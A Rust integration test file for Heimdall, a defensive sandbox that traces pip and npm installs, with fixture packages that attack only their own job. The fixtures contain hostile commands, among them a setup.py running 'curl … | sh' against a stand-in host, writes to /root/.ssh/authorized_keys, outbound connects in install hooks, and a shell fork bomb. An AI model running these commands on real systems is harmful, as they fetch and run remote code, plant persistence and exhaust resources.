crates/heimdall-trace/tests/kernel.rs
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright (C) 2026 Ignalina ApS and Vetra Automation AB
//! Real trace jobs: HeimdallRunner containers with no network, the static
//! tracer as PID 1, python3/pip and node/npm from a pinned worker image.
//! Heimdall is a defensive sandbox; every package here is a test fixture
//! made by this file, and it attacks only its own job: it tries to connect
//! out, to write into /etc, /root/.ssh and /out, to exec a shell and curl,
//! to fork without end.
//!
//! `#[ignore]`d in plain CI: they need user namespaces, delegated cgroup v2,
//! Landlock, seccomp USER_NOTIF, and the worker image layout.
//! `scripts/trace-tests.sh` builds the image and the tracer and runs them in
//! a privileged rootless podman container. Environment:
//! HEIMDALL_TRACE_LAYOUT (OCI layout dir), HEIMDALL_TRACE_BASE (the worker
//! manifest digest), HEIMDALL_TRACE_TRACER (the static tracer),
//! HEIMDALL_CONTAINER_SHIM.
use std::io::Write;
use std::path::{Path, PathBuf};
use std::sync::OnceLock;
use std::time::Duration;
use heimdall_container::{HeimdallConfig, HeimdallRunner};
use heimdall_core::*;
use heimdall_trace::*;
fn env(k: &str) -> String {
std::env::var(k).unwrap_or_else(|_| panic!("{k} is not set: run scripts/trace-tests.sh"))
}
struct Fx {
base: PathBuf,
image: ImageRef,
runner: HeimdallRunner,
}
fn fx() -> &'static Fx {
static FX: OnceLock<Fx> = OnceLock::new();
FX.get_or_init(|| {
let layout = PathBuf::from(env("HEIMDALL_TRACE_LAYOUT"));
let worker = ImageRef {
name: "heimdall-trace-worker".into(),
digest: env("HEIMDALL_TRACE_BASE"),
};
let image = heimdall_trace::image::with_tracer(
&layout,
&worker,
Path::new(&env("HEIMDALL_TRACE_TRACER")),
)
.expect("the tracer layer is added");
let base = std::env::temp_dir().join(format!("heimdall-trace-k-{}", JobId::random()));
std::fs::create_dir_all(&base).unwrap();
// A trace job owns the job's seccomp listener: no broker on this
// runner (one USER_NOTIF listener per filter chain).
let mut cfg = HeimdallConfig::new(&layout, base.join("work"));
cfg.broker = heimdall_container::BrokerSetting::Off;
let runner = HeimdallRunner::new(cfg).expect("this kernel has every feature (strict)");
Fx {
base,
image,
runner,
}
})
}
/// A fresh in/ with `files`, and an empty out/.
fn dirs(files: &[(&str, Vec<u8>)]) -> (PathBuf, PathBuf) {
let d = fx().base.join(JobId::random().to_hex());
let (i, o) = (d.join("in"), d.join("out"));
std::fs::create_dir_all(&i).unwrap();
std::fs::create_dir_all(&o).unwrap();
for (n, b) in files {
std::fs::write(i.join(n), b).unwrap();
}
(i, o)
}
fn job<S: AsRef<str>>(argv: &[S]) -> TraceJob {
let mut tj = TraceJob::new(
fx().image.clone(),
argv.iter().map(|s| s.as_ref().to_string()).collect(),
);
tj.limits.wall = Duration::from_secs(90);
tj.env.extend(
[
("PIP_DISABLE_PIP_VERSION_CHECK", "1"),
("PIP_NO_INPUT", "1"),
("npm_config_cache", "/tmp/home/.npm"),
("npm_config_update_notifier", "false"),
]
.map(|(k, v)| (k.to_string(), v.to_string())),
);
tj
}
/// Run `tj` with `files` in /in: the signed result, the outcome, out/.
fn run(tj: &TraceJob, files: &[(&str, Vec<u8>)]) -> (Option<SignedResult>, TraceOutcome, PathBuf) {
let (i, o) = dirs(files);
let (s, out) = run_trace(&fx().runner, tj, i, o.clone());
(s, out, o)
}
fn traced(o: &TraceOutcome) -> &Trace {
match o {
TraceOutcome::Traced { trace, .. } => trace,
TraceOutcome::Unknown { reason } => panic!("no trace: {reason}"),
}
}
fn pip(file: &str) -> Vec<String> {
[
"/usr/bin/python3",
"-m",
"pip",
"install",
"--no-index",
"--no-build-isolation",
"--no-deps",
"--break-system-packages",
"--target",
"/tmp/site",
]
.iter()
.map(|s| s.to_string())
.chain([format!("/in/{file}")])
.collect()
}
// ==== the fixtures: a wheel, sdists with a setup.py, an npm tarball ====
/// A stored (uncompressed) zip archive.
fn zip(files: &[(&str, &[u8])]) -> Vec<u8> {
let mut out = Vec::new();
let mut central = Vec::new();
for (name, data) in files {
let crc = crc32fast::hash(data);
let off = out.len() as u32;
let n = name.len() as u16;
let len = data.len() as u32;
out.extend_from_slice(&0x04034b50u32.to_le_bytes());
out.extend_from_slice(&[20, 0, 0, 0, 0, 0, 0, 0, 0x21, 0]);
out.extend_from_slice(&crc.to_le_bytes());
out.extend_from_slice(&len.to_le_bytes());
out.extend_from_slice(&len.to_le_bytes());
out.extend_from_slice(&n.to_le_bytes());
out.extend_from_slice(&0u16.to_le_bytes());
out.extend_from_slice(name.as_bytes());
out.extend_from_slice(data);
central.extend_from_slice(&0x02014b50u32.to_le_bytes());
central.extend_from_slice(&[20, 3, 20, 0, 0, 0, 0, 0, 0, 0, 0x21, 0]);
central.extend_from_slice(&crc.to_le_bytes());
central.extend_from_slice(&len.to_le_bytes());
central.extend_from_slice(&len.to_le_bytes());
central.extend_from_slice(&n.to_le_bytes());
central.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]);
central.extend_from_slice(&(0o100644u32 << 16).to_le_bytes());
central.extend_from_slice(&off.to_le_bytes());
central.extend_from_slice(name.as_bytes());
}
let cd_off = out.len() as u32;
let cd_len = central.len() as u32;
out.extend_from_slice(¢ral);
out.extend_from_slice(&0x06054b50u32.to_le_bytes());
out.extend_from_slice(&[0, 0, 0, 0]);
out.extend_from_slice(&(files.len() as u16).to_le_bytes());
out.extend_from_slice(&(files.len() as u16).to_le_bytes());
out.extend_from_slice(&cd_len.to_le_bytes());
out.extend_from_slice(&cd_off.to_le_bytes());
out.extend_from_slice(&0u16.to_le_bytes());
out
}
/// urlsafe base64 without padding (a wheel RECORD's hash form).
fn b64(b: &[u8]) -> String {
const A: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
let mut s = String::new();
for c in b.chunks(3) {
let n = (u32::from(c[0]) << 16)
| (u32::from(*c.get(1).unwrap_or(&0)) << 8)
| u32::from(*c.get(2).unwrap_or(&0));
for i in 0..=c.len() {
s.push(A[((n >> (18 - 6 * i)) & 63) as usize] as char);
}
}
s
}
/// A pure-python wheel `<name>-1.0-py3-none-any.whl` with one module.
fn wheel(name: &str, init: &str) -> (String, Vec<u8>) {
let di = format!("{name}-1.0.dist-info");
let files: Vec<(String, Vec<u8>)> = vec![
(format!("{name}/__init__.py"), init.as_bytes().to_vec()),
(
format!("{di}/METADATA"),
format!("Metadata-Version: 2.1\nName: {name}\nVersion: 1.0\n").into_bytes(),
),
(
format!("{di}/WHEEL"),
b"Wheel-Version: 1.0\nGenerator: heimdall-test\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
.to_vec(),
),
];
let mut record = String::new();
for (p, b) in &files {
let h = Sha256Digest::of(b);
record.push_str(&format!("{p},sha256={},{}\n", b64(h.as_bytes()), b.len()));
}
record.push_str(&format!("{di}/RECORD,,\n"));
let mut all: Vec<(&str, &[u8])> = files
.iter()
.map(|(p, b)| (p.as_str(), b.as_slice()))
.collect();
let rp = format!("{di}/RECORD");
all.push((&rp, record.as_bytes()));
(format!("{name}-1.0-py3-none-any.whl"), zip(&all))
}
fn targz(files: &[(String, Vec<u8>)]) -> Vec<u8> {
let mut b = tar::Builder::new(Vec::new());
for (p, data) in files {
let mut h = tar::Header::new_gnu();
h.set_entry_type(tar::EntryType::Regular);
h.set_mode(0o644);
h.set_size(data.len() as u64);
h.set_mtime(1_700_000_000);
b.append_data(&mut h, p, &data[..]).unwrap();
}
let raw = b.into_inner().unwrap();
let mut e = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
e.write_all(&raw).unwrap();
e.finish().unwrap()
}
/// An sdist `<name>-1.0.tar.gz` whose setup.py runs `body` first.
fn sdist(name: &str, body: &str) -> (String, Vec<u8>) {
let setup = format!(
"{body}\nfrom setuptools import setup\nsetup(name={name:?}, version='1.0', py_modules=[])\n"
);
let files = vec![
(format!("{name}-1.0/setup.py"), setup.into_bytes()),
(
format!("{name}-1.0/PKG-INFO"),
format!("Metadata-Version: 2.1\nName: {name}\nVersion: 1.0\n").into_bytes(),
),
];
(format!("{name}-1.0.tar.gz"), targz(&files))
}
fn baseline() -> &'static Trace {
static B: OnceLock<Trace> = OnceLock::new();
B.get_or_init(|| {
let (n, w) = wheel("benign", "VALUE = 1\n");
let (_, o, _) = run(&job(&pip(&n)), &[(&n, w)]);
traced(&o).clone()
})
}
fn summary(t: &Trace) -> String {
format!(
"exit {:?} status {:?} notifications {} exec {} net {} files {} programs {:?} dropped {}",
t.exit,
t.status,
t.notifications,
t.exec.len(),
t.net.len(),
t.files.len(),
t.syscalls.keys().collect::<Vec<_>>(),
t.dropped
)
}
// ==== the tests ====
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_benign_wheel_installs_and_imports_with_no_network_and_no_write_outside_tmp_in_a_signed_trace()
{
let (n, w) = wheel("benign", "VALUE = 1\n");
let cmd = format!(
"{} && PYTHONPATH=/tmp/site /usr/bin/python3 -c 'import benign; assert benign.VALUE == 1'",
pip(&n).join(" ")
);
let (s, o, _) = run(&job(&["/bin/sh", "-c", &cmd]), &[(&n, w)]);
let s = s.expect("signed");
assert!(s.result.verdict.is_accepted(), "{:?}", s.result.verdict);
let t = traced(&o);
eprintln!("benign: {}", summary(t));
assert_eq!(t.status, Status::Complete);
assert_eq!(t.exit, "exit 0", "pip install + import must succeed");
assert!(!t.timed_out);
// Python probes IPv6 with a bind to [::1]:0 (refused, recorded); a
// benign wheel connects and sends nowhere.
assert!(
t.net
.iter()
.all(|e| e.family == "unix" || (e.op == "bind" && e.refused)),
"a benign wheel makes no network call: {:?}",
t.net
);
let bad: Vec<_> = t
.files
.iter()
.filter(|f| f.refused || f.outside_tmp)
.collect();
assert!(bad.is_empty(), "writes outside /tmp: {bad:?}");
assert!(t
.exec
.iter()
.any(|e| e.path.starts_with("/usr/bin/python3")));
assert!(
t.exec
.iter()
.any(|e| e.program == TRACER_PATH && e.path == "/bin/sh"),
"the command's own start is in the trace: {:#?}",
t.exec
);
assert!(t.syscalls.keys().any(|p| p.starts_with("/usr/bin/python3")));
assert!(t
.files
.iter()
.any(|f| f.path == format!("/in/{n}") && !f.write));
assert!(t.files.iter().any(|f| (f.path == "/tmp/site/benign"
|| f.path.starts_with("/tmp/site/benign/"))
&& f.write));
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn the_same_benign_install_traced_twice_diffs_clean() {
let (n, w) = wheel("benign", "VALUE = 1\n");
let (_, o, _) = run(&job(&pip(&n)), &[(&n, w)]);
let d = diff(baseline(), traced(&o));
assert!(d.is_clean(), "{d:#?}");
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_connects_out_is_refused_and_recorded_and_new_against_the_baseline() {
let (n, sd) = sdist(
"evilnet",
"import socket\ntry:\n s = socket.socket(); s.settimeout(2); s.connect(('10.0.0.1', 443))\nexcept Exception:\n pass\n",
);
let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
let t = traced(&o);
eprintln!("evilnet: {}", summary(t));
let c = t
.net
.iter()
.find(|e| e.op == "connect" && e.address == "10.0.0.1:443")
.unwrap_or_else(|| panic!("the connect is recorded: {:?}", t.net));
assert_eq!(c.family, "inet");
assert!(c.refused);
assert!(c.program.starts_with("/usr/bin/python3"));
assert_eq!(t.exit, "exit 0", "the install itself still works");
let d = diff(baseline(), t);
assert!(d.net.iter().any(|e| e.address == "10.0.0.1:443"), "{d:#?}");
assert!(!d.is_clean());
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_writes_to_etc_and_root_ssh_is_refused_and_recorded() {
let (n, sd) = sdist(
"evilwrite",
"import os\ntry:\n os.makedirs('/root/.ssh')\nexcept Exception:\n pass\nfor p in ['/etc/heimdall-evil', '/root/.ssh/authorized_keys', '/usr/lib/evil.so']:\n try:\n open(p, 'w').write('x')\n except Exception:\n pass\n",
);
let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
let t = traced(&o);
eprintln!("evilwrite: {}", summary(t));
for p in [
"/etc/heimdall-evil",
"/root/.ssh/authorized_keys",
"/usr/lib/evil.so",
] {
let f = t
.files
.iter()
.find(|f| f.path == p && f.write)
.unwrap_or_else(|| panic!("the write to {p} is recorded"));
assert!(f.refused && f.outside_tmp, "{f:?}");
}
assert!(t
.files
.iter()
.any(|f| f.op == "mkdir" && f.path == "/root/.ssh" && f.refused));
let d = diff(baseline(), t);
assert!(d.files.iter().any(|f| f.path == "/etc/heimdall-evil"));
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_execs_sh_and_curl_is_recorded_with_its_argv() {
let (n, sd) = sdist(
"evilexec",
"import os, subprocess\nos.system('curl -s http://203.0.113.9/x | sh')\nsubprocess.call(['/bin/sh', '-c', 'echo hi > /tmp/hi'])\n",
);
let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
let t = traced(&o);
eprintln!("evilexec: {}", summary(t));
assert!(
t.exec.iter().any(|e| e.path == "/bin/sh"
&& e.argv
.iter()
.any(|a| a == "curl -s http://203.0.113.9/x | sh")),
"{:#?}",
t.exec
);
assert!(
t.exec
.iter()
.any(|e| e.path == "/bin/sh" && e.argv.iter().any(|a| a == "echo hi > /tmp/hi")),
"{:#?}",
t.exec
);
// dash looks curl up with stat and finds none: no exec of curl itself.
let d = diff(baseline(), t);
assert!(
d.exec.iter().any(|e| e.path == "/bin/sh"),
"a shell from setup.py is new against the baseline: {d:#?}"
);
}
// node 22's libuv calls io_uring_setup at start whatever UV_USE_IO_URING
// says (its epoll ring); the fixed profile refuses it with EPERM and node
// carries on without a ring.
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn an_npm_postinstall_script_that_connects_out_is_recorded_and_refused() {
let pkg = br#"{"name":"evilnpm","version":"1.0.0","scripts":{"postinstall":"node -e \"require('net').connect(443,'10.0.0.1').on('error',()=>{})\""}}"#;
let tgz = targz(&[("package/package.json".into(), pkg.to_vec())]);
let mut tj = job(&[
"/usr/local/bin/npm",
"install",
"--offline",
"--no-audit",
"--no-fund",
"--foreground-scripts",
"--prefix",
"/tmp/n",
"/in/evilnpm-1.0.0.tgz",
]);
tj.limits.pids = 512;
let (_, o, _) = run(&tj, &[("evilnpm-1.0.0.tgz", tgz)]);
let t = traced(&o);
eprintln!("evilnpm: {}", summary(t));
assert!(
t.exec
.iter()
.any(|e| e.argv.iter().any(|a| a.contains("require('net')"))),
"the postinstall's shell is recorded: {:#?}",
t.exec
);
let c = t
.net
.iter()
.find(|e| e.op == "connect" && e.address == "10.0.0.1:443")
.unwrap_or_else(|| panic!("the connect is recorded: {:?}", t.net));
assert!(c.refused && c.program.ends_with("/node"), "{c:?}");
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_fork_bomb_hits_the_pids_limit_and_the_trace_is_still_signed() {
let mut tj = job(&["/bin/sh", "-c", "f(){ f|f& }; f; sleep 2"]);
tj.limits.pids = 32;
tj.limits.wall = Duration::from_secs(40);
let (s, o, _) = run(&tj, &[]);
let s = s.expect("signed");
assert_eq!(s.result.verdict.code(), Some(codes::LIMIT_PIDS));
match &o {
TraceOutcome::Traced { trace, job_code } => {
eprintln!("forkbomb: {}", summary(trace));
assert_eq!(job_code.as_deref(), Some(codes::LIMIT_PIDS));
assert!(
trace.leftover_killed > 0,
"the bomb's processes were killed"
);
assert!(trace.syscalls.values().any(|s| s
.iter()
.any(|f| f.syscall == "clone" || f.syscall == "fork")));
}
TraceOutcome::Unknown { reason } => panic!("{reason}"),
}
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_trace_over_its_size_bound_is_cut_to_the_bound_and_marked_truncated() {
let mut tj = job(&[
"/usr/bin/python3",
"-c",
"for i in range(3000): open('/tmp/f%05d-%s' % (i, 'x' * 80), 'w').close()",
]);
tj.max_bytes = 32 * 1024;
let (s, o, out) = run(&tj, &[]);
let t = traced(&o);
eprintln!("large: {}", summary(t));
assert_eq!(t.status, Status::Truncated);
assert!(t.dropped > 0);
assert_eq!(t.exit, "exit 0");
let len = std::fs::metadata(out.join(TRACE_FILE)).unwrap().len();
assert!(len <= 32 * 1024, "{len}");
assert!(s.unwrap().result.outputs[0].bytes == len);
assert!(
!diff(baseline(), t).is_clean(),
"a truncated trace is never clean"
);
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_forged_or_bit_flipped_trace_of_a_real_job_is_refused_by_verify() {
let tj = job(&["/bin/true"]);
let (s, o, out) = run(&tj, &[]);
let s = s.unwrap();
assert!(traced(&o).exit == "exit 0");
let key = fx().runner.verifying_key();
assert!(!verify_trace(&s, &key, None, &out, tj.max_bytes).is_unknown());
// The file, one bit.
let p = out.join(TRACE_FILE);
let good = std::fs::read(&p).unwrap();
let mut bad = good.clone();
bad[good.len() / 3] ^= 0x04;
std::fs::write(&p, &bad).unwrap();
assert!(verify_trace(&s, &key, None, &out, tj.max_bytes).is_unknown());
// A forged document with a fresh hash, in a result the forger re-signs.
let mut forged = Trace::from_canonical(&good, tj.max_bytes).unwrap();
forged.notifications += 1;
let fb = forged.to_canonical();
std::fs::write(&p, &fb).unwrap();
let mut r = s.result.clone();
r.outputs = vec![Output::of(TRACE_FILE, &fb)];
let resigned = BootKey::generate().sign(r).unwrap();
assert!(verify_trace(&resigned, &key, None, &out, tj.max_bytes).is_unknown());
// The signed wire, one bit (back to the good file).
std::fs::write(&p, &good).unwrap();
let mut w = s.to_bytes();
let i = w.len() - 70;
w[i] ^= 0x01;
if let Ok(f) = SignedResult::from_bytes(&w) {
assert!(verify_trace(&f, &key, None, &out, tj.max_bytes).is_unknown());
}
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_package_cannot_write_into_out_and_the_trace_stays_the_only_output() {
let (s, o, out) = run(
&job(&[
"/bin/sh",
"-c",
"echo x > /out/evil; echo y > /out/trace.json; echo z >> /out/trace.json; true",
]),
&[],
);
let t = traced(&o);
for p in ["/out/evil", "/out/trace.json"] {
assert!(
t.files.iter().any(|f| f.path == p && f.write && f.refused),
"{p}: {:#?}",
t.files
);
}
let names: Vec<_> = s
.unwrap()
.result
.outputs
.iter()
.map(|o| o.name.clone())
.collect();
assert_eq!(names, vec![TRACE_FILE.to_string()]);
assert_eq!(std::fs::read_dir(&out).unwrap().count(), 1);
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_trace_that_could_not_be_taken_is_unknown_never_clean() {
// No such program in the image: the tracer writes an incomplete trace.
let (_, o, _) = run(&job(&["/usr/bin/no-such-program"]), &[]);
match &o {
TraceOutcome::Unknown { reason } => assert!(reason.contains("could not trace"), "{reason}"),
o => panic!("{o:?}"),
}
// The wall limit kills the job before the tracer writes: no trace at all.
let mut tj = job(&["/bin/sleep", "60"]);
tj.limits.wall = Duration::from_secs(4);
let (i, out) = dirs(&[]);
let mut j = tj.job(i, out.clone());
if let JobKind::Native { argv, .. } = &mut j.kind {
let k = argv.iter().position(|a| a == "--timeout-ms").unwrap();
argv[k + 1] = "60000".into();
}
let ticket = j.ticket();
let s = fx().runner.run(j).expect("signed");
assert_eq!(s.result.verdict.code(), Some(codes::LIMIT_WALL));
let o = verify_trace(
&s,
&fx().runner.verifying_key(),
Some(&ticket),
&out,
tj.max_bytes,
);
assert!(o.is_unknown(), "{o:?}");
}
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_job_calling_io_uring_setup_gets_eperm_and_keeps_running() {
let (_, o, _) = run(
&job(&[
"/usr/bin/python3",
"-c",
"import ctypes, sys\nlibc = ctypes.CDLL(None, use_errno=True)\nr = libc.syscall(425, 1, ctypes.c_void_p(0))\nsys.exit(0 if r == -1 and ctypes.get_errno() == 1 else 3)",
]),
&[],
);
assert_eq!(
traced(&o).exit,
"exit 0",
"io_uring_setup must return EPERM, not kill"
);
}